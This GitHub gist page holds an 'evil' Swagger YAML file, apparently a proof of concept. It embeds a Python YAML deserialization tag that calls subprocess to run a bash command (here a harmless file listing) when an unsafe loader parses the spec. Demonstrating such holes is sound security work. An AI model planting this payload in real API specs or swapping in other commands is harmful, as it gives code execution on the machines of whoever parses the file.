Skip to content

Instantly share code, notes, and snippets.

@snordhausen
Last active January 25, 2018 11:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save snordhausen/70ea427528eb3a0d7afd54ce337b1fd4 to your computer and use it in GitHub Desktop.
Save snordhausen/70ea427528eb3a0d7afd54ce337b1fd4 to your computer and use it in GitHub Desktop.
Evil swagger yaml
---
swagger: !!python/object/new:subprocess.check_output [["bash", "-c", "ls -l>&2; echo -n 2.0"]]
info:
version: "1.0.0"
title: "Swagger Petstore"
host: "evil.invalid"
schemes:
- "http"
consumes:
- "application/json"
produces:
- "application/json"
paths: {}
definitions:
Pet:
required:
- id
- name
properties:
id:
type: integer
format: int64
name:
type: string
tag:
type: string
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment